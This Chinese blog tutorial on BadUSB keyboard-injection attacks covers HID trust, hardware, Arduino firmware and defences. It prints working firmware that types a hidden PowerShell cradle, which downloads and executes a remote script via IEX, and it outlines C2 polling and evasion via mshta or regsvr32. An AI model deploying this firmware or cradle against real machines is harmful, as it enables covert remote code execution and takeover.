资讯动态

BadUSB攻击与远控实现:从HID欺骗到远程加载

发布时间:2026/9/15 20:27:39 来源:尧图企业网站定制
有一次红队演练我拿到了一个外壳做成U盘模样的开发板在目标工位上插上几秒钟后对方电脑自己弹出了cmd窗口随后命令逐行执行完毕整个过程杀毒软件一个弹窗都没有。旁边的同事以为电脑中了邪其实这只是badusb最基础的用法——把一个几十块钱的微控制器伪装成USB键盘让电脑“主动”执行攻击者预设的操作。这篇文章我会结合自己实际测试的经验把badusb的两种远控实现方式讲透一种是离线脚本型把远控载荷直接烧录进固件另一种是在线远程加载型通过一行引导载荷从云端拉取完整Payload执行。不会只丢几段代码就完事硬件选型、开发环境、时序坑点、防御思路都会提到目的是让对硬件安全和红队技术感兴趣的读者既能理解原理也知道怎么在自己的测试环境里复现验证。提示本文所有内容仅用于授权渗透测试、防御研究和自有设备安全验证。任何未经授权的攻击行为都是违法的请务必在法律允许的范围内使用这些技术。1. badusb攻击的本质为什么杀毒软件会静默失守1.1 HID信任边界键盘是操作系统的“免检通道”很多人第一次接触badusb时最大的疑问是为什么插上一个小板子杀毒软件完全没反应要理解这个问题得先弄明白USB设备是怎么被操作系统对待的。USB设备插入后主机会和设备进行枚举通信设备会告诉主机“我是谁”我是一个存储设备、一个键盘、一个摄像头还是一个网络适配器操作系统根据设备描述符中的接口信息加载对应的驱动程序。关键点就在这里键盘属于HID人机接口设备类别操作系统对HID键盘输入的信任度极高。原因很朴素——在系统设计者的视角里用户敲键盘打字是最正常不过的操作总不能把每一次按键都交给杀毒软件去扫描。杀毒软件的实时监控主要覆盖文件系统、进程行为、网络流量、注册表操作但它默认键盘输入是“真人操作”不会在键盘驱动这一层做恶意的行为判定。badusb核心的“攻击面”就是这段信任边界。当微控制器模拟出一个键盘设备系统会按照标准HID报文格式接收它发来的按键事件。这个过程中没有任何文件被写入、没有可执行程序被双击、没有明显的恶意流量特征所以基于文件特征的静态查杀和基于进程行为的动态监控都很难发挥作用。1.2 badusb与U盘病毒的本质区别很多人会把badusb和U盘病毒混为一谈但两者的攻击逻辑完全不同我列个表格对比一下对比维度传统U盘病毒badusb攻击原理依赖autorun自动运行或诱导用户双击直接伪装成键盘模拟按键输入命令是否落盘通常需要写入可执行文件到磁盘可以不落盘通过PowerShell等系统组件执行杀毒软件感知文件扫描可以检出文件层无感行为层难判定触发前提用户交互双击或autorun开启插上即可自动触发无需用户点击定制灵活性需要适配杀软免杀命令可灵活调整配合系统白名单组件规避硬件要求普通U盘即可需要支持USB HID模拟的微控制器开发板从上表能看出来badusb最大的优势是“不依赖文件落地”利用的是操作系统里已有的可信组件PowerShell、CMD、mshta等去执行指令。这种方式天然绕过了传统杀毒软件最擅长的文件查杀也解释了为什么它在近几年成了红队物理渗透的重要工具。1.3 标准攻击链拆解插上之后发生了什么我用自己的设备做测试时完整走了一遍攻击流程标准链路可以拆成四步枚举期设备插入后微控制器进行USB枚举被系统识别为标准HID键盘。这个过程通常耗时几百毫秒到一两秒速度取决于主控芯片和固件代码。等待期固件内置延时等待操作系统完全加载HID驱动。如果这一步不做很容易出现按键事件丢失——你要执行的指令还没发出去命令就已经截断了。注入期模拟按键组合打开运行框WinR、启动PowerShell、逐条输入恶意命令。命令可以是下载远程Payload、添加用户、创建计划任务或者直接执行一个PowerShell远控脚本。收尾期清理痕迹删除临时文件或者把脚本驻留在内存中。从插上到变成远程控制快的场景全程不到10秒。这也是为什么badusb在物理渗透测试里让防守方非常头疼——它不是靠漏洞渗透而是利用系统对外设的默认信任完成攻击传统终端防护思路很难完全挡住。2. 硬件选型与开发环境搭建两种方案共用的底座2.1 四款主流主控芯片的横向对比做badusb的硬件方案有很多我实际用过的有四款Arduino Leonardo、DigiSpark、树莓派Pico、ESP32-S2它们的核心差异在USB支持方式、成本和可扩展性上。主控方案核心芯片USB支持方式价格区间开发语言特点与适用场景Arduino LeonardoATmega32U4原生USB HID20-40元Arduino/C稳定成熟资料多新手首选DigiSparkATtiny85软件模拟USBV-USB8-15元Arduino便宜小巧但时序不稳容易掉键树莓派PicoRP2040原生USB可配置复合设备15-30元MicroPython/C/C扩展性强可同时模拟键盘存储设备ESP32-S2/S3ESP32-S2/S3原生USB带Wi-Fi25-50元Arduino/MicroPython可远程更新Payload真正的“遥控”badusb从表格可以看出不同方案的定位差别挺大。Leonardo的优势在于稳定性——ATmega32U4芯片内置了完整USB收发器HID协议是芯片原生支持的固件写好后插上就能识别极少出现兼容问题。DigiSpark用的ATtiny85本身没有USB硬件模块靠V-USB库用GPIO引脚模拟USB时序虽然便宜但我在测试中发现它在高速连续输出时偶尔会丢键而且5V电压不稳会导致枚举失败率变高。除非追求极致体积和低价否则我不建议用它做生产级测试工具。树莓派Pico是这两年比较火的方案。RP2040支持原生USB 1.1配TinyUSB库可以同时枚举成键盘和U盘这就意味着可以做出“自动从自己的存储分区读取Payload”的效果比直接把脚本写死在固件里灵活得多。ESP32-S2/S3则是在远程控制场景下最有优势——它自带Wi-Fi可以做成插入后自动连网下载最新Payload的形态思路接近我会在后文讲到的“在线远程加载型badusb”的硬件版。2.2 为什么我建议新手从Arduino Leonardo开始从零开始做badusb我强烈推荐Arduino Leonardo作为第一块板子理由有三个第一资料完备。ATmega32U4是Arduino生态非常成熟的芯片Keyboard.h库是官方维护的网上能搜到大量HID攻击项目案例遇到问题基本都有现成答案。第二原生USB HID让问题域简单了不少。不像DigiSpark需要软件模拟USB时序也不像ESP32要额外处理Wi-Fi连接逻辑Leonardo把最复杂的部分交给了芯片硬件我们只需要关注Payload本身的编写。第三调试方便。Arduino IDE直接烧录串口监视器可以输出调试信息。配合一个测试虚拟机半小时就能跑通第一个演示脚本。当然如果用Leonardo做“在线远程加载”的方案还需要额外搭配一块ESP8266或者以太网转接板会多一层硬件连接和通信协议的复杂度所以我一般建议新手先跑通离线方案理解了HID注入的时序逻辑之后再上远程加载方案。2.3 Arduino IDE环境配置手把手开发环境配置其实很简单踩过几次坑之后我整理出了不会出错的流程下载Arduino IDE建议用2.x版本界面清爽库管理比以前方便。如果你手头有旧项目依赖用1.8.x也行。添加开发板管理器地址如果编译用的板子是Leonardo官方Arduino AVR Boards包自带如果是ESP32-S2需要额外添加JSON地址https://espressif.github.io/arduino-esp32/package_esp32_index.json在“文件→首选项→附加开发板管理器网址”里填入然后在“开发板管理器”里搜索“esp32”安装。 3.选择正确的开发板这块非常容易踩坑很多人明明用的是Leonardo却在开发板菜单里选了Uno导致上传失败或者程序不跑。Leonardo对应的是“Arduino Leonardo”或“Arduino/Genuino Micro”选错的典型症状是编译提示找不到Keyboard.h。 4.安装相关库离线方案只需要内置的Keyboard库Pico方案需要安装“Earle Philhower”的RP2040包ESP32方案需要安装ESP32包并引入USB HID库。 5.上传程序插上开发板选择对应COM口点击上传。Leonardo在上传时会自动重置并进入bootloader不需要手动按复位键。2.4 驱动与上传的常见故障处理我遇到的驱动故障主要有两类各说一个最典型的一类是Leonardo插入后Windows提示“设备描述符请求失败”设备管理器里显示感叹号。这种情况多半是USB线的问题——有些劣质USB线只有充电功能没有数据传输引脚换根数据线就好。另外部分扩展坞也会导致枚举失败尽量直插主机USB口测试。另一类是上传失败提示“avrdude: stk500_recv(): programmer is not responding”。这通常是COM口选错或者板子型号选错导致波特率不匹配。检查一下开发板菜单里是否选了“ATmega32U4”相关型号并把COM口改成端口占用列表里正确的哪一个。对于Pico方案需要注意一个区别Pico在MicroPython模式下是一个虚拟U盘里面放main.py即可运行脚本在Arduino模式下则和普通开发板一样烧录。如果刷了MicroPython后想切回Arduino模式需要按住BOOTSEL键插上USB进入烧录模式然后重新烧录UF2固件。3. 方式一离线脚本型badusb——把远控指令写进固件3.1 HID键盘API的核心逻辑和参数解析离线脚本型方案是理解badusb的基础核心是使用Arduino的键盘库。几个关键API虽然简单但每个都有它的使用讲究Keyboard.begin()初始化HID键盘功能。一旦调用板子就会以键盘模式接入系统。实际测试中这个函数调用后系统枚举大概需要几百毫秒所以一般都在setup阶段调用。Keyboard.press(KEY_LEFT_GUI)按下某个按键不释放。这里的KEY_LEFT_GUI对应Windows键在Mac上是Command键在Linux桌面环境通常是Super键。Keyboard.releaseAll()释放所有按下的键。这个函数容易忽略但如果忘了调用就切换状态会出现组合键一直按着的状态。Keyboard.write(char)发送一个字符的击键事件相当于“按下并释放”。注意此函数对ASCII字符兼容良好但对特殊键比如F2、方向键无效特殊键必须用press/release。Keyboard.print(String)连续输出一个字符串。输出速度极快每字符之间几乎没有间隔这也是导致某些目标系统丢键的根源。Keyboard.end()关闭键盘功能让设备从系统中退出。3.2 代码示例烧录一个演示键盘脚本不做复杂的攻击先写一个“打开记事本并输入欢迎消息”的演示脚本验证整条链路是否通畅。在Arduino IDE里新建文件粘贴以下代码#include Keyboard.h void setup() { // 给系统留出枚举时间 delay(1500); Keyboard.begin(); // 按 WinR 打开运行框 Keyboard.press(KEY_LEFT_GUI); Keyboard.press(r); delay(100); Keyboard.releaseAll(); delay(800); // 输入 notepad 并回车 Keyboard.print(notepad.exe); Keyboard.write(KEY_RETURN); delay(2000); // 在记事本里输入内容 Keyboard.print(Hello from BadUSB!); Keyboard.end(); } void loop() { // 只执行一次 }这段代码的流程能跑通说明硬件和开发环境都没有问题。在真实测试中我会在一台不重要的虚拟机里执行这个脚本观察记事本是否弹出、内容是否完整以此判断枚举时序是否稳定。这个测试步骤虽然简单却是后续一切的基础。3.3 从“弹记事本”到“拉远控”的演进思路弹记事本只是验证HID注入通道实战场景基本都会走到远控这一步。思路上的关键转变是不要让badusb直接执行完整远控代码而是让它作为“引导者”启动系统已有的可信工具去加载外部载荷。最朴素的演进是把notepad.exe替换成启动PowerShell并把打印内容改成一行命令脚本。比如在运行框里启动PowerShell后通过-ep bypass参数绕过执行策略再调用IEX远程加载脚本。这个思路在文章第4章会具体展开此处先看一个简化的本地演示// 打开运行框同上略 // 启动 powershell Keyboard.print(powershell -ep bypass -w hidden -Command \Write-Host test; Start-Sleep 2\); Keyboard.write(KEY_RETURN); delay(3000);这段代码不会执行任何有害操作但它演示了badusb的核心价值让系统自己启动一个高权限且可信的脚本环境再由这个环境去完成后续所有工作。由于PowerShell本身是所有Windows管理员日常都在用的工具EDR很难对“启动PowerShell”这个行为直接判定为恶意。3.4 这个方案最大的坑时序、键盘布局与击键丢失离线方案看着简单真正上手做测试时会遇到很多意料之外的状况。我总结出三个高频踩坑点第一个坑枚举时间和命令时序。USB设备插入后不会立刻变成可用键盘宿主机的HID驱动加载需要时间。如果固件在枚举完成前就发送击键事件系统会直接丢弃。解决方法是程序开头delay(1000-2000)让系统有充裕时间完成枚举。更稳妥的做法是分阶段延时每次执行完一条命令后都delay(500)以上给系统反应时间。PowerShell启动到完全可控往往需要2到4秒如果命令发的太快后半段会莫名奇妙的丢失。第二个坑键盘布局差异。这个坑是我损失了整整一个下午才发现的。Keyboard.print(C:\\Users\\test)用美式键盘布局模拟完全没有问题但目标是德式键盘时Y和Z的位置会互换一些符号位置也不同导致命令路径错乱。在涉及非英文字符或特殊符号的场景最好用ASCII码形式发送事件或者提前确认目标机的键盘语言。第三个坑可视窗口状态差异。用Win R打开运行框后如果系统弹了UAC提示后续所有按键都会被拦截。RID攻击的标准手法是通过UAC的“安全桌面”绕过或者在可信进程里带出提权效果但这又会引入额外的检测面。我的建议是测试前先确认目标环境的UAC等级尽量不用需要提权的Payload。4. 方式二在线远程加载型badusb——载荷不进固件按需下发4.1 为什么要绕一道离线方案的三个天花板离线脚本型的限制在实战中会越来越明显第一改载荷要重新烧录固件。红队演练现场是不可能随时掏出电脑给板子刷固件的如果发现命令被拦截或者路径不对就得弃用机动性很差。第二固件存储空间有限。Leonardo的开发板Flash是32KB如果要在固件里内置一个完整Payload空间不够而且固件体积膨胀后烧录时间变长编出来的脚本体积一次性拉满也不好调试。第三固件是静态的。重新插入后执行的还是那套命令无法适应临时变化。如果目标网络出站策略只允许特定域名或特定协议写死的地址一旦被封整个设备就废了。“远程加载”思想就是针对这些短板来的——固件只负责三件事建立网络连接、下载真实Payload、在内存中执行它。真正的远控代码存放在服务器侧想换攻击向量就改服务器上的文件不需要碰硬件。4.2 引导载荷设计一行命令远程拉取执行远程加载型的核心是一个极短的“引导载荷”Bootstrap Payload它的任务不是完成攻击而是把真正的远控脚本从远程服务器拉取到目标机内存中执行。典型的引导载荷是一行PowerShell命令格式大概这样powershell -ep bypass -w hidden -c IEX((New-Object Net.WebClient).DownloadString(http://your-server:8080/b))这段命令的作用是powershell调用系统PowerShell-ep bypass绕过执行策略限制-w hidden让窗口隐藏避免用户看到黑色窗口一闪而过-c执行后面跟着的PowerShell表达式IEX(...)Invoke-Expression的简写表示将括号里下载的字符串当作PowerShell代码执行New-Object Net.WebClient创建一个Web客户端对象.DownloadString(http://your-server:8080/b)从指定URL下载文本内容整个命令的关键哲学在于“无文件落地”——Payload以字符串形式存在于内存中不写磁盘事后不像病毒那样需要专门清理。我在测试系统的进程监控里观察到这行命令执行后产生的正常行为和运维人员手动跑PowerShell别无二致基本不会触发文件扫描型规则。禁止说明上面示例只是为了演示原理和语法结构不附带任何实际攻击脚本请勿接入真实目标。4.3 完整实现步骤从服务器端到固件的全链路把这个方案落地需要准备三块内容服务器、固件、通信链路。服务器端准备我通常会在自有测试服务器上起一个简单的HTTP服务比如Python的python -m http.server或者Nginx专门存放Payload文件。测试期间Payload文件叫b不带扩展名内容是一段PowerShell脚本可以完成连接测试服务器、等待指令等操作。需要注意服务器要配置CORS头避免下载时被浏览器拦截在PowerShell的WebClient里不会真的拦但统一加上更稳妥。固件代码设计在Arduino端代码的骨架和离线脚本差别不大关键在引导阶段的命令变少、等待时间变长。示例#include Keyboard.h void setup() { delay(1500); // 枚举等待 Keyboard.begin(); // 打开运行框 Keyboard.press(KEY_LEFT_GUI); Keyboard.press(r); delay(200); Keyboard.releaseAll(); delay(800); // 启动 PowerShell 并执行引导载荷 Keyboard.print(powershell -ep bypass -w hidden -c \IEX((New-Object Net.WebClient).DownloadString(http://192.168.1.100:8080/b))\); Keyboard.write(KEY_RETURN); Keyboard.end(); } void loop() { // do nothing }这里有一个我在测试中反复踩过的细节由于引导命令比较长Keyboard.print()连续输出几百个字符的过程中任何一次USB通信卡顿都可能导致命令截断。解决方式是把长命令拆成几段输入每段之间加delay(50-100)就能明显降低丢键概率。通信链路注意点下载地址的域名或IP很重要。如果目标环境有DNS过滤建议使用IP直连域名的方式或者使用HTTPS而不是HTTP。实际测试中发现HTTP地址在某些企业网络的Web过滤器下会被直接拦截而HTTPS地址因为加密特性拦截检测成本较高存活率明显更好。4.4 进阶形态自更新与C2指令轮询远程加载型的更进阶形态是“自更新”和“指令轮询”我简单提一下原理给想深入研究硬件做远控的朋友一个扩展方向自更新的思路是让badusb在每次插入时执行一个“调度器”脚本这个脚本先访问C2服务器检查最新Payload版本如果不一致就先更新再执行。这样板子插入后永远跑的服务器上的最新版本脚本不需要重新烧录。指令轮询的思路更接近传统C2模型固定载荷脚本运行时每30秒请求一次服务器接口查看是否有待执行的指令返回对应PowerShell代码并IEX执行。这种方式比一次性执行要灵活即使这次插上的是凌晨无人的办公位也能随时变成为后续攻击做铺垫的“持久化跳板”。ESP32-S2/S3因为自带Wi-Fi是自更新形态最理想的硬件载体——插上后热连接热点然后从服务端拉取Payload并模拟键盘执行整个过程可以做到无需有线网络、无需预置脚本只需要目标设备能出网。4.5 远程方案的限制和失败场景远程方案虽然灵活但失败场景也非常需要提前做测试验证第一种典型失败是出网受限。很多企业终端对PowerShell发起的外连请求会做管控目标机器可能只能访问内网Web服务或者特定域名的80/443端口。遇到这种环境方案二的存活率取决于是否能找到可用的出网通道。第二种失败是PowerShell被策略锁定。部分高安全级别的Windows环境通过AppLocker或WDAC限制PowerShell启动只允许签名脚本执行。这种情况下要换成其他可信组件做引导比如mshta、regsvr32或者WMI它们各有各的调用参数核心思路一致。第三种失败是命令被EDR的行为规则拦截。现在主流EDR会监控“PowerShell在短时间内执行字符串下载并调用IEX”这种特征哪怕命令被截断也会有告警。这不是无能为力可以通过Memory Only加载.NET程序集、使用反射DLL等技术绕过但这类方法已经超出badusb本身的范畴更适合单独研究。我在测试中还会故意模拟失败场景比如断开服务器、修改Payload为恶意字符串观察badusb会怎么表现。这能帮我梳理出问题排查的思路——到底是硬件枚举问题、键盘布局问题还是服务器连通性问题。排查顺序上建议先固定服务器端能正常访问再检查USB枚举再分析命令时序最后才考虑布局兼容。5. 检测与防御既然能防住它才谈得上研究它5.1 设备侧检测USB接入日志与硬件ID作为防守方我发现最有效的badusb检测机制是设备接入侧的审计。Windows在设备接入时会写入大量事件日志核心看两个来源第一个来源是Microsoft-Windows-DriverFrameworks-UserMode/Operational事件日志里面记录设备接入时枚举到的硬件ID和实例ID。badusb类的HID设备硬件ID通常是VID_xxxxPID_xxxx和普通U盘的USBSTOR设备有明显区别过滤这些事件可以快速发现“键盘类设备异常接入”。第二个来源是Microsoft-Windows-Kernel-PnP配置事件可以看到设备驱动加载路径有助于识别冒充品牌设备的自定义固件。我测试过在虚拟机环境用PowerShell脚本实时监控上述日志当badusb插入时Event Viewer里会立刻多出几个新设备接入记录。虽然不是所有HID接入都是恶意的但配合时间戳谁在这段时间插入了设备就能快速定位。5.2 行为侧检测击键注入特征与EDR策略设备侧只能发现“接入了一个新键盘”行为侧才是判断攻击是否真正发生的重点。badusb执行期间的行为特征非常明显主要有三个可观察的突变短时间内出现大量键盘输入且输入内容不是人类打字模式。真人敲击字符间隔至少几十毫秒到几百毫秒badusb的Keyboard.print()几乎是以无间隔的速率连续输出。输入内容包含PowerShell命令、URL字符串、脚本调用等结构化文本与自然语言输入模式差异极大。输入后伴随新进程创建且进程往往是PowerShell、CMD、mshta等脚本宿主。针对这些特征可以配置EDR的键盘注入检测规则如果厂商支持或者用Sysmon的自定义规则监控特定进程的可疑命令行内容。实测下来规则的难点在于设置触发阈值——阈值太严会把正常的RPA键盘自动化误报为攻击太松又会让短Payload漏网。我的建议是结合“新设备接入后续进程创建”的组合条件做告警而不是只看击键速度单一维度。5.3 组织级防线优先USB白名单与组策略纯靠单机侧检测badusb是被动防御真正有效的组织级方案是把USB口变成“受控不可信”的边界。硬件层面可以用组策略限制可移动存储设备的安装或者在关键主机上禁用USB存储类设备只允许HID键鼠设备。操作路径是“Computer Configuration→Administrative Templates→System→Removable Storage Access”把“All Removable Storage classes: Deny all access”设为已启用。但要注意这个策略限制的是存储类设备badusb的HID键盘并不在其中所以还需要配合USB设备安装限制“Prevent installation of devices that match these device IDs”来精确控制允许的键盘型号列表。Linux环境可以用usbguard做白名单策略自定义允许接入的设备VID/PID。我在测试机上配过一次规则简单可靠插入未知设备时直接拒绝并记录日志。物理隔离依然是最后一道防线。很多重点部门会在主机上贴USB口保护盖或者用数据防泄漏一体机管控所有外设接入。对绝大多数组织来说把“物理接触”作为第一防线的可信度要远远高于依赖杀软告警的检测能力。5.4 个人测试防护要点如果你和我一样日常会拿这些设备来研究下面几条防护建议可以帮你少踩坑测试环境务必是VMware/VirtualBox虚拟机不要直接插在宿主机上。我早期图方便直接插物理机测试结果把成长期系统搞挂过一次重装花了半天。payload文件放在一次性服务器或独立测试环境中服务器用完后直接销毁。永远不要让真实业务网络和测试服务器之间产生连接痕迹。在测试电脑上开启系统审计日志每次测试后主动检查新增的进程和计划任务记录确保设备没有“留后手”。虽然badusb本身一般不做持久化但在实际攻防里攻击方经常会在完成一次接入后顺手创建计划任务维持权限。作为研究设备的持有者你要时刻确认自己手里的板子并不会因为你不知道的代码而发起不在计划中的动作。写在最后的一点体会做badusb测试这么多次我最大的感受是越简单的设备越容易被人低估而真正的风险往往就藏在这种“不容易被感知”的位置。HID攻击不是新技术但它至今仍然有效核心在于它利用了操作系统对外设的信任模型。对研究安全的人来说badusb不只是炫技工具它更是一面镜子——提醒我们从设备接入那一刻起就应该以不信任的眼光审视每一类外设交互。希望这篇文章能把原理、实践和防御讲清楚至少能让你在下次看到有人在你电脑上插U盘时多留一个心眼。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价